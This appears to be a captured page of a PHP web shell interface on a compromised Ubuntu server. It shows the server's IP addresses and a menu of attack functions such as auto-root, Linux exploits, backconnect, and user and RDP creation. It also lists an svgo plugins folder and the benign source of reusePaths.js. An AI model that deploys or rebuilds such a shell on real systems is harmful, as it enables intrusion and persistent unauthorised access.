Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
amatya /
quiz1 /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-rw-rw-
_path.js
31
KB
-rw-rw-rw-
_transforms.js
10.02
KB
-rw-rw-rw-
addAttributesToSVGElement.js
2.02
KB
-rw-rw-rw-
addClassesToSVGElement.js
1.07
KB
-rw-rw-rw-
cleanupAttrs.js
1.28
KB
-rw-rw-rw-
cleanupEnableBackground.js
2.25
KB
-rw-rw-rw-
cleanupIDs.js
6.58
KB
-rw-rw-rw-
cleanupListOfValues.js
3.52
KB
-rw-rw-rw-
cleanupNumericValues.js
2.5
KB
-rw-rw-rw-
collapseGroups.js
2.92
KB
-rw-rw-rw-
convertColors.js
3.58
KB
-rw-rw-rw-
convertEllipseToCircle.js
895
B
-rw-rw-rw-
convertPathData.js
30.16
KB
-rw-rw-rw-
convertShapeToPath.js
4.39
KB
-rw-rw-rw-
convertStyleToAttrs.js
4.1
KB
-rw-rw-rw-
convertTransform.js
10.62
KB
-rw-rw-rw-
inlineStyles.js
7.7
KB
-rw-rw-rw-
mergePaths.js
2.08
KB
-rw-rw-rw-
minifyStyles.js
3.97
KB
-rw-rw-rw-
moveElemsAttrsToGroup.js
3.31
KB
-rw-rw-rw-
moveGroupAttrsToElems.js
1.81
KB
-rw-rw-rw-
prefixIds.js
5.41
KB
-rw-rw-rw-
removeAttributesBySelector.js
1.87
KB
-rw-rw-rw-
removeAttrs.js
4.06
KB
-rw-rw-rw-
removeComments.js
508
B
-rw-rw-rw-
removeDesc.js
767
B
-rw-rw-rw-
removeDimensions.js
1.3
KB
-rw-rw-rw-
removeDoctype.js
1.01
KB
-rw-rw-rw-
removeEditorsNSData.js
1.51
KB
-rw-rw-rw-
removeElementsByAttr.js
1.89
KB
-rw-rw-rw-
removeEmptyAttrs.js
509
B
-rw-rw-rw-
removeEmptyContainers.js
690
B
-rw-rw-rw-
removeEmptyText.js
1.1
KB
-rw-rw-rw-
removeHiddenElems.js
6.46
KB
-rw-rw-rw-
removeMetadata.js
392
B
-rw-rw-rw-
removeNonInheritableGroupAttrs...
945
B
-rw-rw-rw-
removeOffCanvasPaths.js
3.09
KB
-rw-rw-rw-
removeRasterImages.js
558
B
-rw-rw-rw-
removeScriptElement.js
423
B
-rw-rw-rw-
removeStyleElement.js
426
B
-rw-rw-rw-
removeTitle.js
411
B
-rw-rw-rw-
removeUnknownsAndDefaults.js
4.85
KB
-rw-rw-rw-
removeUnusedNS.js
2.33
KB
-rw-rw-rw-
removeUselessDefs.js
1.09
KB
-rw-rw-rw-
removeUselessStrokeAndFill.js
2.65
KB
-rw-rw-rw-
removeViewBox.js
1.11
KB
-rw-rw-rw-
removeXMLNS.js
591
B
-rw-rw-rw-
removeXMLProcInst.js
487
B
-rw-rw-rw-
reusePaths.js
6.33
KB
-rw-rw-rw-
sortAttrs.js
1.66
KB
-rw-rw-rw-
sortDefsChildren.js
1.37
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reusePaths.js
/** * @license * The MIT License * * Copyright © 2012–2016 Kir Belevich * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * * Лицензия MIT * * Copyright © 2012–2016 Кир Белевич * * Данная лицензия разрешает лицам, получившим копию * данного * программного обеспечения и сопутствующей * документации * (в дальнейшем именуемыми «Программное Обеспечение»), * безвозмездно * использовать Программное Обеспечение без * ограничений, включая * неограниченное право на использование, копирование, * изменение, * добавление, публикацию, распространение, * сублицензирование * и/или продажу копий Программного Обеспечения, также * как и лицам, * которым предоставляется данное Программное * Обеспечение, * при соблюдении следующих условий: * * Указанное выше уведомление об авторском праве и * данные условия * должны быть включены во все копии или значимые части * данного * Программного Обеспечения. * * ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК * ЕСТЬ», * БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНО ВЫРАЖЕННЫХ ИЛИ * ПОДРАЗУМЕВАЕМЫХ, * ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ ГАРАНТИЯМИ ТОВАРНОЙ * ПРИГОДНОСТИ, * СООТВЕТСТВИЯ ПО ЕГО КОНКРЕТНОМУ НАЗНАЧЕНИЮ И * ОТСУТСТВИЯ НАРУШЕНИЙ * ПРАВ. НИ В КАКОМ СЛУЧАЕ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ * НЕСУТ * ОТВЕТСТВЕННОСТИ ПО ИСКАМ О ВОЗМЕЩЕНИИ УЩЕРБА, УБЫТКОВ * ИЛИ ДРУГИХ * ТРЕБОВАНИЙ ПО ДЕЙСТВУЮЩИМ КОНТРАКТАМ, ДЕЛИКТАМ ИЛИ * ИНОМУ, * ВОЗНИКШИМ ИЗ, ИМЕЮЩИМ ПРИЧИНОЙ ИЛИ СВЯЗАННЫМ С * ПРОГРАММНЫМ * ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ПРОГРАММНОГО * ОБЕСПЕЧЕНИЯ * ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ. */ 'use strict'; var JSAPI = require('../lib/svgo/jsAPI'); exports.type = 'full'; exports.active = false; exports.description = 'Finds <path> elements with the same d, fill, and ' + 'stroke, and converts them to <use> elements ' + 'referencing a single <path> def.'; /** * Finds <path> elements with the same d, fill, and stroke, and converts them to * <use> elements referencing a single <path> def. * * @author Jacob Howcroft */ exports.fn = function(data) { const seen = new Map(); let count = 0; const defs = []; traverse(data, item => { if (!item.isElem('path') || !item.hasAttr('d')) { return; } const d = item.attr('d').value; const fill = (item.hasAttr('fill') && item.attr('fill').value) || ''; const stroke = (item.hasAttr('stroke') && item.attr('stroke').value) || ''; const key = d + ';s:' + stroke + ';f:' + fill; const hasSeen = seen.get(key); if (!hasSeen) { seen.set(key, {elem: item, reused: false}); return; } if (!hasSeen.reused) { hasSeen.reused = true; if (!hasSeen.elem.hasAttr('id')) { hasSeen.elem.addAttr({name: 'id', local: 'id', prefix: '', value: 'reuse-' + (count++)}); } defs.push(hasSeen.elem); } item = convertToUse(item, hasSeen.elem.attr('id').value); }); const defsTag = new JSAPI({ elem: 'defs', prefix: '', local: 'defs', content: [], attrs: []}, data); data.content[0].spliceContent(0, 0, defsTag); for (let def of defs) { // Remove class and style before copying to avoid circular refs in // JSON.stringify. This is fine because we don't actually want class or // style information to be copied. const style = def.style; const defClass = def.class; delete def.style; delete def.class; const defClone = def.clone(); def.style = style; def.class = defClass; defClone.removeAttr('transform'); defsTag.spliceContent(0, 0, defClone); // Convert the original def to a use so the first usage isn't duplicated. def = convertToUse(def, defClone.attr('id').value); def.removeAttr('id'); } return data; }; /** */ function convertToUse(item, href) { item.renameElem('use'); item.removeAttr('d'); item.removeAttr('stroke'); item.removeAttr('fill'); item.addAttr({name: 'xlink:href', local: 'xlink:href', prefix: 'none', value: '#' + href}); delete item.pathJS; return item; } /** */ function traverse(parent, callback) { if (parent.isEmpty()) { return; } for (let child of parent.content) { callback(child); traverse(child, callback); } }
Close